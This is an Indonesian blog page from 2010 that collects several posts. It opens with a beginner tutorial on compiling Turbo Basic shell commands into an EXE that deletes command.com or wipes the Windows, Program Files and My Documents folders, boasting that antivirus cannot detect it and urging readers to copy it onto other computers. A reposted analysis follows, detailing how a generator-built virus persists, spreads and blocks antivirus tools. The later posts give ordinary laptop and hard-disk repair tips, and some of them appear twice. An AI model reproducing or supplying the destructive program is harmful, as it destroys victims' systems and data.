Sabtu, 25 Desember 2010

link movie

http://yog-movie.blogspot.com/search/label/Movie%20Indonesia

Jumat, 24 Desember 2010

cara membuat virus yang muda

- Download Turbo Basic v1.0
Membuat program perusak (seperti virus) merupakan keinginan sebagian para pemula komputer, tapi bagaimana mereka bisa membuat kalau mereka tidak tahu bahasa pemograman sama sekali, anda jangan resah untuk masalah ini karena saat ini penulis akan mengajarkan anda cara membuat program perusak (virus) yang sangat sederhana sekali tapi sangat mematikan bahkan bisa dikatakan lebih mengerikan dari program perusak manapun.
Pertama kali skill yang anda butuhkan adalah dasar DOS, tanpa ini anda akan sulit untuk berkreasi dalam membuat program ini tapi jika anda tidak tahu dasar perintah DOS maka anda cukup copy paste saja, bahasa pemograman yang akan kita pakai adalah Turbo Basic v1.0, anda dapat mendownloadnya di Google.
Diatas adalah tampilan Turbo Basic, jika anda buta pemograman Turbo Basic maka anda masuk ke Edit lalu anda tulis Source Code program perusak.
shell "Perintah DOS"
dengan diawali kata shell maka anda dapat menjalankan perintah DOS pada program, misal anda membuat :
shell "c:"
shell "cd\"
shell "del command.com"
Diatas adalah contoh menghapus DOS pada DOS Classic, Windows 95/98 sehingga pengguna komputer tidak dapat booting, kita contohkan yang lain.
shell "c:"
shell "cd\"
shell "deltree /y mydocu~1"
shell "deltree /y windows"
shell "deltree /y progra~1"
Diatas adalah contoh menghapus Directory My Document, WIndows dan Program FIles, sangat fatal bukan ?
Setelah anda selesai membuat programnya maka anda save dahulu, caranya pilih File lalu Save lalu beri nama filenya misal VIRUS.BAS, setelah itu baru kita mengcompile source code tadi, caranya pilih Options lalu pilih Compile to EXE file, setelah itu masuk ke pilihan compile lalu anda enter, maka source code tersebut akan menjadi file EXE.
Jika file EXE tersebut dijalankan maka komputer anda akan menjalankan perintah DOS pada program, dari tutorial diatas, anda dapat berkreasi sendiri bagaimana virus buatan anda dapat berjalan sesuai dengan anda inginkan, perlu diketahui bahwa TIDAK ADA SATU ANTIVIRUS DIDUNIA INI DAPAT MENDETEKSI PROGRAM INI ADALAH VIRUS jadi anda bebas mengcopykan program ini ke komputer manapun yang anda suka kecuali komputer berbasis non DOS atau Windows, hehe
Tujuan dari tutorial ini adalah agar kita lebih waspada terhadap berbagai file dengan ekstensi *.exe meskipun file *.exe tersebut 100% dinyatakan bebas virus dari berbagai jenis Antivirus.
Penulis :
Yogya Family Code
*Segala kesalahan error / kerusakan pada komputer dan semacamnya adalah tanggung jawab anda !
*Semua yang anda pelajari dan anda lakukan adalah sepenuhnya tanggung jawab anda tanpa kecuali (termasuk member)

cara membuat virus

Masih ingat dengan virus Aksika? Virus open source yang satu itu memang memiliki
banyak sekali varian. Tidak heran karena source code-nya memang disediakan bebas
di Internet, jadi siapapun dapat dengan mudah mengubah dan meng-compile source
code-nya dan jadilah varian baru.
Berawal dari kemudahan itulah, banyak virus maker ataupun programer pemula
mencoba coba untuk membuat virus tanpa perlu repot. Paling yang dibutuhkan
hanyalah pengetahuan seputar operating system dan programming.
Namun kemudahan itu belum seberapa, bila dibandingkan dengan menggunakan
program Virus Generator. Dari namanya saja, kita sudah dapat mengira kegunaan dari
program tersebut. Ya, Virus Generator merupakan program untuk dapat membuat virus
secara mudah dan instan.
Bermula dari sampel sebuah virus yang lumayan banyak dikirimkan oleh pembaca
kepada kami. PC Media Antivirus mengenalnya dengan nama Gen.FFE-Fajar, namun
antivirus lain ada juga yang menyebutnya dengan nama Brontok.D. Dengan
penyelidikan sederhana akhirnya diketahui bahwa virus tersebut dibuat menggunakan
Virus Generator.
Fast Firus Engine
Pembuat Generator tersebut menamakan program buatannya itu dengan nama Fast
Firus Engine. Seperti yang terlihat pada program ataupun situs pembuatnya, ia
memberitahukan bahwa program ini hanya untuk tujuan pembelajaran dan tidak untuk
tindakan merusak. Namun tetap saja, bila program ini sudah jatuh ke tangan yang
salah, pasti akan digunakan untuk pengrusakan.
Virus Generator ini dibuat menggunakan bahasa Visual Basic dan di-compress
menggunakan packer tELock. Dalam paketnya terdapat dua buah file, yakni Fast Firus
Engine.exe dan data.ex_. Fast Firus Engine. exe merupakan program utama dalam
pembuatan virusnya dan sementara file data.ex_ sebenarnya merupakan badan virus
asli yang belum dimodifikasi.
Saat file Fast Firus Engine.exe dijalankan, maka pengguna akan dihadapkan pada
sebuah interface. Anda hanya disuruh mengisikan nama virus, nama pembuat, dan
pesan-pesannya. Lalu dengan menekan tombol Generate, maka jadilah virus Anda.
Cara kerja dari Generator tersebut sebenarnya sangat sederhana. Ia hanya
menambahkan data yang Anda masukkan tadi ke bagian akhir file virus asli (data.ex_).
Nantinya informasi tersebut digunakan oleh virus dalam proses infeksi.
BagaimanaVirusMenginfeksi?
Virus hasil ciptaan FFE memang terlihat sederhana. Sama seperti Generatornya, ia
juga dibuat menggunakan bahasa Visual Basic yang di-compile dengan metode Native-
Code. Lalu di compress menggunakan tELock agar ukurannya semakin kecil. Virus ini
memiliki ukuran tubuh asli sebesar 55.296 bytes.
Saat virus kali pertama dieksekusi, ia akan membuat beberapa file induk di beberapa
lokasi. Seperti di direktori \%WINDOWS%\, akan terdapat file dengan nama.exe, Win32
exe, activex.exe, dan %virusname% (nama virus sesuai yang diisikan oleh sang
pembuatnya pada Generator). Di \%WINDOWS%\ %system32%\ akan terdapat file
copy.pif, _default.pif, dan surif.bin. Selain itu, ia juga mengubah atau membuat file
Oeminfo.ini yang merupakan bagian dari System Properties. Jadi apabila komputer
Anda terinfeksi oleh virus hasil generate dari FFE, maka pada System Properties akan
terdapat tulisan Generated by Fast Firus Engine .
Di direktori \%WINDOWS%\%System%\ akan terdapat beberapa file induk lagi yang
menggunakan nama yang sama seperti file system milik Windows, seperti csrss.exe,
winlogon.exe, lsass.exe, smss.exe, svchost. exe, dan winlogon.exe.
Dan tak lupa, pada root drive pun akan terdapat file dengan nama baca euy.txt yang
berisikan pesan pesan dari si pembuat virus. Jadi pada saat membuat virus dengan
menggunakan Generator tersebut, maka pembuatnya akan disuguhkan beberapa kotak
input, seperti Author of the virus, Name of the virus, dan Messages. Nah, isi dari kotak
messages ini yang nantinya ditampilkan pada file baca euy.txt tersebut.
Setelah virus berhasil meng-copy-kan file induknya ke dalam sistem tersebut, ia akan
menjalankan file induk tadi, sehingga pada memory akan terdapat beberapa process
virus, seperti csrss.exe, winlogon.exe, lsass. exe, smss.exe, svchost.exe, dan
winlogon.exe. Nama process yang mirip dengan process/services milik Windows
tersebut mungkin sengaja untuk mengecoh user. Untuk membedakannya, Anda dapat
melihat path atau lokasi process tersebut dijalankan. Process virus ini biasanya berjalan
di direktori System sementara process/services milik Windows yang running biasanya
berasal dari direktori System32.
MengubahRegistry
Virus ini menambahkan beberapa item startup pada registry agar pada saat memulai
Windows ia dapat running secara otomatis atau untuk mengubah setting-an Windows
agar sesuai keinginannya. Informasi mengenai registry yang diubahnya tidak akan
dapat dengan mudah kita lihat karena dalam kondisi terenkripsi.
Yang ia ubah adalah seperti nilai dari item Userinit, yakni dengan menambahkan
parameter ke file induk. Pada key HKEY_CURRENT_
USER\Software\Microsoft\Windows NT\CurrentVersion\Windows\Load juga akan
diubah itemnya agar mengarah ke file induknya dengan nama Activex.exe. Pada
HKEY_CURRENT_USER \Software\Microsoft\ Windows\CurrentVersion\Run\ akan
terdapat item baru dengan nama present. Key HKEY_
LOCAL_MACHINE\SOFTWARE\Microsoft\ Windows\CurrentVersion\Run\ akan
terdapat item baru juga dengan nama Default dan %username%, username di sini
merupakan nama user yang sedang aktif saat itu.
Virus hasil generate dari FFE juga mengubah shell extension untuk file .exe, yakni
dengan mengubah type information dari Application menjadi File Folder. Setting-an
folder Options juga diubah agar tidak menampilkan extension dan setiap fi le dengan
attribut hidden. Dan agar dapat aktif pada safe-mode, ia pun mengubah nilai dari item
SafeBoot.
Dengan menggunakan bantuan registry Image File Execution Options, virus ini juga
menambahkan item baru pada section tersebut dengan nama cmd.exe, msconfi g.exe,
regedit.exe, dan taskmgr.exe. Maksudnya adalah agar setiap user yang mengakses
program dengan nama file seperti itu, maka akan di-bypass oleh Windows dan dialihkan
ke file induk si virus.
BagaimanaVirusMenyebar?
Virus ini dapat menyebar melalui media penyimpan data seperti flash disk. Saat Anda
mencolokkan flash disk pada komputer yang terinfeksi, maka pada flash disk tersebut
akan terdapat beberapa file baru, seperti explorer.exe, %virusname%.exe, dan
msvbvm60.dll. Juga beberapa file pendukung seperti desktop.ini, autorun.inf agar ia
dapat running otomatis pada saat mengakses flash disk tersebut.
File virus lainnya pun disimpan pada direktori baru di flash disk tersebut dengan nama
Recycled yang berisikan file Firus.pif dan Folder.htt. Kesemua file virus tersebut dalam
kondisi hidden sehingga tidak terlihat.
VirusBeraksi
Untuk dapat bertahan hidup, virus ini pun akan mencoba untuk memblok setiap
program yang tidak ia inginkan seperti tools atau program antivirus termasuk PCMAV.
Sama seperti halnya data registry yang diubah, data mengenai program apa saja yang
diblok olehnya juga terdapat dalam tubuhnya dalam kondisi terenkripsi.
Jadi, saat virus sudah stay di memory, ia akan memonitor setiap program yang diakses
oleh user, yakni dengan membaca nama file dan juga caption Window. Beberapa nama
file antivirus yang dicoba untuk dibloknya adalah nav.exe, avgcc.exe, njeeves.exe,
ccapps.exe, ccapp.exe, kav.exe, nvcoas.exe, avp32.exe, dan masih banyak lagi yang

http://indocracker.wetpaint.com/page/Membuat+Virus+dengan+Notepad+%281%29

mengatasi bila komputer hang

Bagi yang tiap hari “bergelut”dengan komputer, pasti pernah mengalami hang, error atau rusak. Kadang tanda mouse itu terus-menerus loading tanpa mau ikuti apa yang kita perintahkan. Akhirnya kita juga jadi emosi, bahlkan bingung tak tahu harus berbuat apa.
. Padahal setumpuk pekerjaan harus segera kita rampungkan. Parahnya lagi, kita ga tau harus berbuat apa. Akhirnya cuma bisa ngedumel, marah-marah dan geregetan jadinya geregetan…….. Padahal itu semua tidak akan membuat laptop kita menjadi lebih baik.


Sebenarnya karakteristik setiap laptop itu berbeda-beda dan cara mengatasinya pun akan berbeda pula. Namun kali ini saya akan membahasnya secara global saja tentang gejala-gejala kerusakan pada laptop terutama saat laptop mulai sering hang dan beberapa tips sederhana untuk mengatasinya.
Laptop suka hang, ini mungkin bisa disebabkan oleh beban akses yang berlebihan melebihi kemampuan processor laptop Anda, misalnya Anda menggunakan laptop lebih dari 2 jam non stop tanpa coolingpad/kipas pendingin sehingga menyebabkan suhu pada processor menjadi tinggi melebihi batas maksimal suhu processor yang dianjurkan. Perlu Anda Ingat bahwa laptop berbeda dengan PC dari segi penempatan, karena laptop diciptakan lebih kecil dari pada PC yang otomatis menyisakan ruang antar komponen dalam laptop menjadi lebih sempit.
Tips-1: selalu gunakan collingpad apabila Anda akan menggunakan laptop lebih dari 2 jam. Keadaan akan berbeda saat Anda menggunakan laptop di ruang ber AC. Disini coolingpad tidak terlalu diperlukan, karena suhu ruangan ber AC secara otomatis akan menstabilkan suhu dari aktifitas processor. Jangan pernah menggunakan laptop dalam waktu lama tanpa collingpad, karena hal ini akan membuat processor anda Mati Total.
Tips-2: Kurangi akses sofware/applikasi secara bersamaan, atau selalu refresh jika terjadi hang. Namun, apabila keadaan memaksa Anda untuk mengakses banyak program/applikasi secara bersamaan, saya sarankan Anda untuk melakukan upgrade memory laptop Anda. Artinya Anda harus menambah kapasitas memory Anda. Karena salah satu gejala hang pada laptop selain pada processor adalah pada memory. Bila memory kurang atau rusak, bisa juga menyebabkan laptop hang.
Tips-3: Pastikan PC pada memory laptop Anda sama atau minimal mendekati. Karena kalau tidak sama, malah akan memperlambat kerja laptop Anda. PC pada memory biasanya tertera pada labelnya, misalnyaPC 4200, pc6400.
Tips-4: Selalu update antivirus dan lakukan scan terhadap semua file-file Anda sehingga terbebas dari virus. Virus juga dapat menjadi penyebab laptop Anda hang. Bila memungkinkan, gunakan 2 antivirus sekaligus, satu lokal seperti Smadav atau PCMAV dan satunya antivirus dari luar seperti Avira, Kapersky, Norton, AVG dan lain sebagainya. Hal ini dilakukan karena masih banyak virus lokal yang belum terdeteksi atau terdeteksi tapi belum bisa di-clean oleh antivirus dari luar. Dan apabila virus dalam laptop Anda sudah melebihi 100, saya sarankan untuk instal ulang laptop Anda. Karena laptop yang sudah terinfeksi virus lebih sulit diatasi daripada menghindari virus masuk ke laptop anda.
Tips-5: Lakukan defrag hardisk secara rutin dan teratur, minimal sebulan sekali. Jangan terlalu sering juga, karena hal ini akan menurunkan performa kerja harddisk laptop Anda. Defrag berfungsi untuk merapikan kembali file-file yang sudah berserakan. File-file yang berserakan atau berantakan akan menyebabkan laptop Anda menjadi lambat yang akhirnya bisa menyebabkan laptop anda hang.
Cara melakukan defrag :
1. Klik kanan My Computer
2. Klik manage
3. Klik defragmenter
4. Pilih drive yang akan di defrag C/D
5. Klik defragment
6. Biarkan proses defrag sampai selesai merapikan file anda
7. Close program
Jadi sebenarnya, untuk mengatasi (kalau bisa menghindari) laptop hang adalah cukup dengan 5 langkah saja, yaitu :
1. Selalu gunakan Coolingpad bila menggunakan laptop lebih dari 2 jam.
2. Kurangi akses software/program secara bersamaan.
3. Upgrade memory.
4. Bebaskan file-file dari infeksi virus dengan update antivirus.
5. Lakukan defrag hardisk secara rutin dan teratur.





Booting Gagal, (Komputer Selalu Restart Ulang).

Gejala :
Ketika melakukan proses Booting berjalan dan menampilkan layar Windows XP Start Up, tiba-tiba muncul blue screen dan komputer restart ulang.
secara otomatis. Kotak dialog Logon Windows yang biasanya tampil, kali ini tidak sempat muncul karena komputer keburu restart.

Solusi :
Permasalahan di atas seringkali terjadi karena kerusakan file Kernel32.dll. Cobalah amati apakah pada blue screen yang muncul terlihat pesan “This error can occur if the Kernel32.dll file is missing or damaged’. Jika ternyata memang file Kernel32.dll mengalami kerusakan, janganlah terburu-buru untuk melakukan instalasi ulang Windows XP. Orang seringkali mencari jalan mudah untuk memperbaiki kemsakan sistem dengan instalasi ulang. Tetapi jelas penyelesaian tersebut akan membutuhkan waktu yang lama karena Anda tidak hanya melakukan instalasi ulang sistem operasi tetapi juga aplikasi.
Sebenarnya permasalahan tersebut tidak harus diatasi dengan install ulang. Anda bisa melakukan perbaikan Windows dengan mengkopikan atau mengekstraksi kembali file Kernel32.dll dari master original Windows XP. Untuk itu lakukan langkah-langkah sebagai berikut:
1. Anda dapat menggunakan Recovery Console untuk melakukan perbaikan sistem. Recovery Console merupakan salah satu fasilitas Windows yang dapat digunakan untuk melakukan restore file-file system dari CD master Windows dan dimasukkan ke harddisk dimana Windows berada sebagai sebuah sistem operasi. Caranya, pada saat startup Windows, pilih Recovery Console. Pilihan tersebut akan memunculkan Command prompt.
2. Pada Command Prompt yang muncul seperti di atas, ketikkan perintah sebagai berikut: CDWindows(enter), CD System32 (enter)
3. Ubahlah nama [kernel32.dll] yang lama menjadi [kemel32.old]. Caranya ketik perintah [ren kernel32.dll kemel32.old lalu tekan [enter]
4. Ketik [map] tanda dan kemudian tekan [enter]
5. Catatlah posisi drive CD-ROM yang didalamnya terdapat CD Windows XP.
6. Lakukan ekstraksi kernel32.dll dengan mengetikkan sebagai berikut: [expand i386kernel32.dl_ ] dimana menunjukkan posisi drive CD master Windows XP dan jangan lupa tekan ENTER. Sebagai contoh, ketik: [expand d:i386kernel32.dl_ [enter] Catat bahwa karakter sesudah huruf “L” adalah”_”. Pengetikkan di atas jika berhasil akan diikuti pesan “Kernel32.dll, 1 file(s) expanded”.
7. Ketikkan [exit] dan komputer akan melakukan restart.
Yang menjadi masalah adalah bahwa mungkin saja Windows XP pada komputer Anda tidak memiliki fasilitas Recovery Console karena pada saat instalasi tidak disertakan. Anda dapat memulainya dari CD Windows XP. Untuk melakukannya ikuti langkah-langkah sebagai berikut:
1. Masukkan CD Windows XP dan lakukan re-start komputer. Jangan lupa untuk melakukan semua setting yang diperlukan pada BIOS untuk membuat boot dari CD.
2. Perhatikan layar pada saat proses setup Windows yang dijalankan. Ketika bagian yang berbasis teks dari Setup dimulai, pilih opsi repair or recover dengan menekan tombol “R”.
3. Ketika muncul prompt, ketikkan password Administrator dari Windows XP Anda.
4. Setelah itu Anda bisa langsung mengetikkan perintah-perintah Recovery Console. Ketik [help] untuk mengetahui perintah-perintah yang disediakan dan ketik [exit] untuk mengakhir recovery console.

Mudah-mudahan uraian di atas dapat membantu meringankan pekerjaan anda untuk dapat “mengamankan” file dan folder yang ada di komputer atau laptop anda.

Bagi yang tiap hari “bergelut”dengan komputer, pasti pernah mengalami hang, error atau rusak. Kadang tanda mouse itu terus-menerus loading tanpa mau ikuti apa yang kita perintahkan. Akhirnya kita juga jadi emosi, bahlkan bingung tak tahu harus berbuat apa.
. Padahal setumpuk pekerjaan harus segera kita rampungkan. Parahnya lagi, kita ga tau harus berbuat apa. Akhirnya cuma bisa ngedumel, marah-marah dan geregetan jadinya geregetan…….. Padahal itu semua tidak akan membuat laptop kita menjadi lebih baik.


Sebenarnya karakteristik setiap laptop itu berbeda-beda dan cara mengatasinya pun akan berbeda pula. Namun kali ini saya akan membahasnya secara global saja tentang gejala-gejala kerusakan pada laptop terutama saat laptop mulai sering hang dan beberapa tips sederhana untuk mengatasinya.
Laptop suka hang, ini mungkin bisa disebabkan oleh beban akses yang berlebihan melebihi kemampuan processor laptop Anda, misalnya Anda menggunakan laptop lebih dari 2 jam non stop tanpa coolingpad/kipas pendingin sehingga menyebabkan suhu pada processor menjadi tinggi melebihi batas maksimal suhu processor yang dianjurkan. Perlu Anda Ingat bahwa laptop berbeda dengan PC dari segi penempatan, karena laptop diciptakan lebih kecil dari pada PC yang otomatis menyisakan ruang antar komponen dalam laptop menjadi lebih sempit.
Tips-1: selalu gunakan collingpad apabila Anda akan menggunakan laptop lebih dari 2 jam. Keadaan akan berbeda saat Anda menggunakan laptop di ruang ber AC. Disini coolingpad tidak terlalu diperlukan, karena suhu ruangan ber AC secara otomatis akan menstabilkan suhu dari aktifitas processor. Jangan pernah menggunakan laptop dalam waktu lama tanpa collingpad, karena hal ini akan membuat processor anda Mati Total.
Tips-2: Kurangi akses sofware/applikasi secara bersamaan, atau selalu refresh jika terjadi hang. Namun, apabila keadaan memaksa Anda untuk mengakses banyak program/applikasi secara bersamaan, saya sarankan Anda untuk melakukan upgrade memory laptop Anda. Artinya Anda harus menambah kapasitas memory Anda. Karena salah satu gejala hang pada laptop selain pada processor adalah pada memory. Bila memory kurang atau rusak, bisa juga menyebabkan laptop hang.
Tips-3: Pastikan PC pada memory laptop Anda sama atau minimal mendekati. Karena kalau tidak sama, malah akan memperlambat kerja laptop Anda. PC pada memory biasanya tertera pada labelnya, misalnyaPC 4200, pc6400.
Tips-4: Selalu update antivirus dan lakukan scan terhadap semua file-file Anda sehingga terbebas dari virus. Virus juga dapat menjadi penyebab laptop Anda hang. Bila memungkinkan, gunakan 2 antivirus sekaligus, satu lokal seperti Smadav atau PCMAV dan satunya antivirus dari luar seperti Avira, Kapersky, Norton, AVG dan lain sebagainya. Hal ini dilakukan karena masih banyak virus lokal yang belum terdeteksi atau terdeteksi tapi belum bisa di-clean oleh antivirus dari luar. Dan apabila virus dalam laptop Anda sudah melebihi 100, saya sarankan untuk instal ulang laptop Anda. Karena laptop yang sudah terinfeksi virus lebih sulit diatasi daripada menghindari virus masuk ke laptop anda.
Tips-5: Lakukan defrag hardisk secara rutin dan teratur, minimal sebulan sekali. Jangan terlalu sering juga, karena hal ini akan menurunkan performa kerja harddisk laptop Anda. Defrag berfungsi untuk merapikan kembali file-file yang sudah berserakan. File-file yang berserakan atau berantakan akan menyebabkan laptop Anda menjadi lambat yang akhirnya bisa menyebabkan laptop anda hang.
Cara melakukan defrag :
1. Klik kanan My Computer
2. Klik manage
3. Klik defragmenter
4. Pilih drive yang akan di defrag C/D
5. Klik defragment
6. Biarkan proses defrag sampai selesai merapikan file anda
7. Close program
Jadi sebenarnya, untuk mengatasi (kalau bisa menghindari) laptop hang adalah cukup dengan 5 langkah saja, yaitu :
1. Selalu gunakan Coolingpad bila menggunakan laptop lebih dari 2 jam.
2. Kurangi akses software/program secara bersamaan.
3. Upgrade memory.
4. Bebaskan file-file dari infeksi virus dengan update antivirus.
5. Lakukan defrag hardisk secara rutin dan teratur.





Booting Gagal, (Komputer Selalu Restart Ulang).

Gejala :
Ketika melakukan proses Booting berjalan dan menampilkan layar Windows XP Start Up, tiba-tiba muncul blue screen dan komputer restart ulang.
secara otomatis. Kotak dialog Logon Windows yang biasanya tampil, kali ini tidak sempat muncul karena komputer keburu restart.

Solusi :
Permasalahan di atas seringkali terjadi karena kerusakan file Kernel32.dll. Cobalah amati apakah pada blue screen yang muncul terlihat pesan “This error can occur if the Kernel32.dll file is missing or damaged’. Jika ternyata memang file Kernel32.dll mengalami kerusakan, janganlah terburu-buru untuk melakukan instalasi ulang Windows XP. Orang seringkali mencari jalan mudah untuk memperbaiki kemsakan sistem dengan instalasi ulang. Tetapi jelas penyelesaian tersebut akan membutuhkan waktu yang lama karena Anda tidak hanya melakukan instalasi ulang sistem operasi tetapi juga aplikasi.
Sebenarnya permasalahan tersebut tidak harus diatasi dengan install ulang. Anda bisa melakukan perbaikan Windows dengan mengkopikan atau mengekstraksi kembali file Kernel32.dll dari master original Windows XP. Untuk itu lakukan langkah-langkah sebagai berikut:
1. Anda dapat menggunakan Recovery Console untuk melakukan perbaikan sistem. Recovery Console merupakan salah satu fasilitas Windows yang dapat digunakan untuk melakukan restore file-file system dari CD master Windows dan dimasukkan ke harddisk dimana Windows berada sebagai sebuah sistem operasi. Caranya, pada saat startup Windows, pilih Recovery Console. Pilihan tersebut akan memunculkan Command prompt.
2. Pada Command Prompt yang muncul seperti di atas, ketikkan perintah sebagai berikut: CDWindows(enter), CD System32 (enter)
3. Ubahlah nama [kernel32.dll] yang lama menjadi [kemel32.old]. Caranya ketik perintah [ren kernel32.dll kemel32.old lalu tekan [enter]
4. Ketik [map] tanda dan kemudian tekan [enter]
5. Catatlah posisi drive CD-ROM yang didalamnya terdapat CD Windows XP.
6. Lakukan ekstraksi kernel32.dll dengan mengetikkan sebagai berikut: [expand i386kernel32.dl_ ] dimana menunjukkan posisi drive CD master Windows XP dan jangan lupa tekan ENTER. Sebagai contoh, ketik: [expand d:i386kernel32.dl_ [enter] Catat bahwa karakter sesudah huruf “L” adalah”_”. Pengetikkan di atas jika berhasil akan diikuti pesan “Kernel32.dll, 1 file(s) expanded”.
7. Ketikkan [exit] dan komputer akan melakukan restart.
Yang menjadi masalah adalah bahwa mungkin saja Windows XP pada komputer Anda tidak memiliki fasilitas Recovery Console karena pada saat instalasi tidak disertakan. Anda dapat memulainya dari CD Windows XP. Untuk melakukannya ikuti langkah-langkah sebagai berikut:
1. Masukkan CD Windows XP dan lakukan re-start komputer. Jangan lupa untuk melakukan semua setting yang diperlukan pada BIOS untuk membuat boot dari CD.
2. Perhatikan layar pada saat proses setup Windows yang dijalankan. Ketika bagian yang berbasis teks dari Setup dimulai, pilih opsi repair or recover dengan menekan tombol “R”.
3. Ketika muncul prompt, ketikkan password Administrator dari Windows XP Anda.
4. Setelah itu Anda bisa langsung mengetikkan perintah-perintah Recovery Console. Ketik [help] untuk mengetahui perintah-perintah yang disediakan dan ketik [exit] untuk mengakhir recovery console.

Mudah-mudahan uraian di atas dapat membantu meringankan pekerjaan anda untuk dapat “mengamankan” file dan folder yang ada di komputer atau laptop anda.

software

http://www.freedownloadsarchive.com/h-download/HDD-Repairer-Seagate-PRO-full.html

Service / Repair Harddisk Bad Sector Dengan Victoria

 
i
 
4 Votes
Quantcast

Sebelum harddisk itu benar-benar menjadi rusak, biasanya diawali dengan terjadinya bad sector. Biasanya sebagai indikasi harddisk sudah mulai ada bad sector, kinerja windows semakin lambat, sering gagal (hang) masuk ke sistem windows, dan ada bunyi aneh yang tidak biasanya pada harddisk (krek.. krek.. krek.. biasanya cukup jelas terdengar). Jika ini telah terjadi, segeralah backup data Anda, dan segera cek apakah sudah terjadi bad sector yang parah sebelum harddisk benar-benar rusak dan kehilangan identitasnya (no detect)

Untuk memperbaikinya, mudah-mudahan masih bisa, bad sectornya belum parah benar, kita bisa menggunakan Freeware Victoria For Dos, atau Victoria For Windows. Saya sih lebih suka menggunakan Victoria For Dos, atau Victoria yang terdapat di dalam Hiren’s BootCD. Nanti saya upload Victorianya. OK.. Trims
Sekarang sudah bisa didownload Victorianya
Download VCR352-3
Download VCR40Free
Download VCR43Win
Download VCR446Free
Download Disk Manager For All
Download HDD Repair 2.0
(Mirip PC3000, bisa buat nge flash hdd Maxtor, WD, Fujitsu, Samsung)
Download HP USB Disk Storage Format Tool 2.0 (Buat Flashdisk Yang Nakal)
Download Partition Recovery
Oh ya, sedikit tambahan, mungkin ada yang belum tahu menggunakan Victoria. Yang akan saya jelaskan Victoria For Dos…
* Pasang harddisk yang akan diperbaiki bad sectornya pada secondary master port IDE
* Siapkan Victoria, boleh dari harddisk master, floppy, cdrom, atau apa aja
* Hidupkan CPU
* Setelah sistem siap / ready, jalankan Victoria
* Setelah masuk ke program Victoria, tekan tombol P, pilih Secondary Master
* Tekan F2, untuk mendeteksi harddisk yang akan diperbaiki tsb
* Kadang-kadang harddisk belum ready, tekan F3 (Reset), lalu tekan F2
* Tekan F4, untuk menampilkan menu perintah scanning harddisk
HDD scan menu:
Start LBA: 0
End LBA: 60058656 (saya ingin memperbaiki harddisk 30 GB)
<- Sequential Reading ->
<- Ignore Bad Blocks ->
<- Change end of test ->
Pada posisi menu seperti di atas, Anda bisa langsung tekan F4, untuk scanning tanpa memperbaiki.
Untuk memperbaiki bad sector,
Langkah 1:
<- Ignore Bad Blocks -> ubah dengan menekan spasi menjadi <- BB: Advanced REMAP ->
Lalu tekan F4, untuk scanning sekaligus memperbaiki atau meremap bad sector
Jika ada sector yang gagal / sulit diperbaiki atau diremap
Langkah 2:
<- Sequential Reading -> ubah dengan menekan spasi menjadi <- Write (erasing) ->
Lalu tekan F4, perintah Write (erasing) ini juga akan menghapus data-data di harddisk
Jika masih sulit juga, coba langkah 3 ini:
<- Sequential Reading ->
<- BB: Erase 256 sect ->
Lalu tekan F4
Start LBA dan End LBA dapat diubah-ubah nilainya dengan disesuaikan posisi LBA yang bad. Jika bad sector belum parah-parah benar, biasanya langkah 1 dan 2 sudah cukup. Yang harus diperhatikan, backuplah data-data terlebih dahulu, sebelum Anda menjalankan Victoria. Dikhawatirkan lupa, dijalankan Write (erasing) yang berakibat data hilang.
Setelah proses scanning selesai, bad sector berhasil diperbaiki, tekan tombol S (Stopping drive)
Tekan X, keluar (Exit)
Shutdown/Restart CPU

 
Powered by Blogger